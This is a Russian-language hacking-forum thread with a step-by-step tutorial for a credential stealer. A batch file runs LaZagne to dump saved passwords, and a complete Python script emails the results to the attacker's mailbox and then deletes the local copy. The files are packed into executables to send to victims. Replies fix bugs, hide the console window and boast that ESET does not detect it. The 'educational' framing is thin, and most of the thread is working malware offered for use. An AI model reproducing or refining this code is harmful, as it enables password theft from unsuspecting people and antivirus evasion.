• XSS.stack #1 – первый литературный журнал от юзеров форума

Стиллер на Python с отправкой по почте

tabac

CPU register
Пользователь
Регистрация
30.09.2018
Сообщения
1 610
Решения
1
Реакции
3 332
Что будем делать?

Здравствуй, читатель сегодня поговорим о том почему не надо открывать непроверенные файлы скачанные с неизвестных источников и создадим такой файл чтобы понять что он может наделать на вашем ПК. Создавать мы будем стиллер который соберет все наши пароли и отправит их нам по почте.


Что для этого нужно?

Нам понадобится:
  1. Python 3.x.x
  2. Инструмент для восстановления паролей(в нашем случае LaZagne)
  3. Два аккаунта Google

И так начинаем

Для начала поместим .exe файл инструмента LaZagne в папку с нашим проектом. Далее создадим .bat файл с любым названием(у меня будет main.bat) и файл send.py.

У нас должна получится такая структура:

Project:
  • laZagne.exe
  • send.py
  • main.bat

Пишем код

Откроем файл main.bat и поместим туда код:
Код:
@Echo off
laZagne.exe all > pass.txt
Теперь при запуске нашего .bat файла у нас появится файл pass.txt в котором будут все ваши пароли из браузеров(и не только). Осталось только отправить данные на почту. Но как это сделать?


Отправка на почту

Открываем файл send.py и вставляем код:
Код:
import smtplib                                              
import os                                                   

import mimetypes                                            
from email import encoders                                  
from email.mime.base import MIMEBase                        
from email.mime.text import MIMEText                        
from email.mime.image import MIMEImage                      
from email.mime.audio import MIMEAudio                      
from email.mime.multipart import MIMEMultipart              

def send_email(addr_from, password, addr_to, files):                            

    msg_subj = 'Password'
    msg_text = 'Password'
    msg = MIMEMultipart()                                   
    msg['From']    = addr_from                              
    msg['To']      = addr_to                                
    msg['Subject'] = msg_subj                               

    body = msg_text                                         
    msg.attach(MIMEText(body, 'plain'))                     

    process_attachement(msg, files)

    #==========Код зависящий от сервиса==========
    server = smtplib.SMTP('smtp.gmail.com', 587)
    server.starttls()
    server.login(addr_from, password)
    server.send_message(msg)
    server.quit()
        #============================================

def process_attachement(msg, files):                        
    for f in files:
        if os.path.isfile(f):                               
            attach_file(msg,f)                              
        elif os.path.exists(f):                             
            dir = os.listdir(f)                             
            for file in dir:                                
                attach_file(msg,f+"/"+file)                 

def attach_file(msg, filepath):                             
    filename = os.path.basename(filepath)                   
    ctype, encoding = mimetypes.guess_type(filepath)        
    if ctype is None or encoding is not None:              
        ctype = 'application/octet-stream'                  
    maintype, subtype = ctype.split('/', 1)                 
    if maintype == 'text':                                  
        with open(filepath) as fp:                          
            file = MIMEText(fp.read(), _subtype=subtype)    
            fp.close()                                      
    elif maintype == 'image':                               
        with open(filepath, 'rb') as fp:
            file = MIMEImage(fp.read(), _subtype=subtype)
            fp.close()
    elif maintype == 'audio':                               
        with open(filepath, 'rb') as fp:
            file = MIMEAudio(fp.read(), _subtype=subtype)
            fp.close()
    else:                                                   
        with open(filepath, 'rb') as fp:
            file = MIMEBase(maintype, subtype)              
            file.set_payload(fp.read())                     
            fp.close()
            encoders.encode_base64(file)                    
    file.add_header('Content-Disposition', 'attachment', filename=filename) 
    msg.attach(file)                                        

#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                                
files = ["pass.txt"]                                    
#=============================================

send_email(_from, _password, _to, files)

Теперь нужно настроить и в зависимости от сервиса по которому будете отправлять почту изменяем выделенный код: Google (прежде нужно разрешить доступ для менее безопасных приложений):
Код:
server = smtplib.SMTP('smtp.gmail.com', 587)
server.starttls()
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Mail.ru:
Код:
server = smtplib.SMTP_SSL('smtp.mail.ru', 25)
server.login(addr_from, password)
server.send_message(msg)
server.quit()
Yandex:
Код:
server = smtplib.SMTP_SSL('smtp.yandex.ru', 465)
server.login(addr_from, password)
server.send_message(msg)
server.quit()

Доделываем .bat

Теперь в наш .bat файл добавим код запуска файла send.py и удаления файла pass.txt:
Код:
send.py
del /s "pass.txt"

Сборка

Теперь после запуска main.bat ваши пароли будут отправлены к вам на почту но если у вас не установлен Python то ничего не получится нужно превратить наш send.py файл в exe. Для этого открываем консоль и пишем:
Код:
pip install pyinstaller
pyinstaller --onefile send.py
Еще но нужно превратить main.bat файл в main.exe, и в этом нам поможет Bat To Exe Converter. Жмем на кнопку с тремя точками("...") и ищем ваш файл main.bat, жмем "Открыть", после чего жмем "Convert" и получаем файл main.exe. Эти три файла и есть наш стиллер, можем отправлять другу и радоватьсяпроверять на работоспособность.


Ссылки



(c) Artur3175
 
Данная статья очень полезная но имеет ряд неточностей и ньюансов.

блок
Код:
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                              
files = ["pass.txt"]                                  
#=============================================

должен выглядеть так

Код:
#=====Настройки=================================
addr_from = "from@gmail.com"
password = "password"
addr_to   = "to@gmail.com"                              
files = ["pass.txt"]                                  
#=============================================

строка

Код:
server.send_message(msg)

не корректная, нужно использовать так.
Код:
server.sendmail(addr_from,addr_to,msg.as_string())

компилирование файла тоже не совсем корректно.

вместо :
Код:
pyinstaller --onefile send.py

нужно прописать так:
Код:
pyinstaller --noconsole --onefile --noupx Yourfile.py
иначе в фоне будет появляться предательское консольное окно.

Но в принципе работает отлично, ESET 10 версии не палит, и мыло улетает.

1549401646046.png


P.S. библиотеку использовал secure-smtplib
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Совсем народ обленился. Уже на питоне малварь пишут :smile5::cool:
 
Совсем народ обленился. Уже на питоне малварь пишут :smile5::cool:
да хоть на бейсике)
главное - алгоритм и результат.
 
Совсем народ обленился. Уже на питоне малварь пишут :smile5::cool:
Обленился это когда ничего не делать.

Кстати на Гите лежит сурс стилера, можно совместить стилера и сендера в одном файле.
 
Пожалуйста, обратите внимание, что пользователь заблокирован
Обленился это когда ничего не делать.

Кстати на Гите лежит сурс стилера, можно совместить стилера и сендера в одном файле.
Я думал ты только по wi-fi
 
Данная статья очень полезная но имеет ряд неточностей и ньюансов.

блок
Код:
#=====Настройки=================================
_from = "from@gmail.com"
_password = "password"
_to   = "to@gmail.com"                             
files = ["pass.txt"]                                 
#=============================================

должен выглядеть так

Код:
#=====Настройки=================================
addr_from = "from@gmail.com"
password = "password"
addr_to   = "to@gmail.com"                             
files = ["pass.txt"]                                 
#=============================================

строка

Код:
server.send_message(msg)

не корректная, нужно использовать так.
Код:
server.sendmail(addr_from,addr_to,msg.as_string())

компилирование файла тоже не совсем корректно.

вместо :
Код:
pyinstaller --onefile send.py

нужно прописать так:
Код:
pyinstaller --noconsole --onefile --noupx Yourfile.py
иначе в фоне будет появляться предательское консольное окно.

Но в принципе работает отлично, ESET 10 версии не палит, и мыло улетает.

Посмотреть вложение 2677

P.S. библиотеку использовал secure-smtplib
Чел, спасибо, всё перерыл чтобы найти ответ как избавится от консольного окна, а эт было так просто. Спасиб)
 
Откомпилированый питон весит 18мб, это слишком много. Есть Cphon или как то так. Утилита которая компилирует из питона в с. С минимальным размером и сохранением функциональности.
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх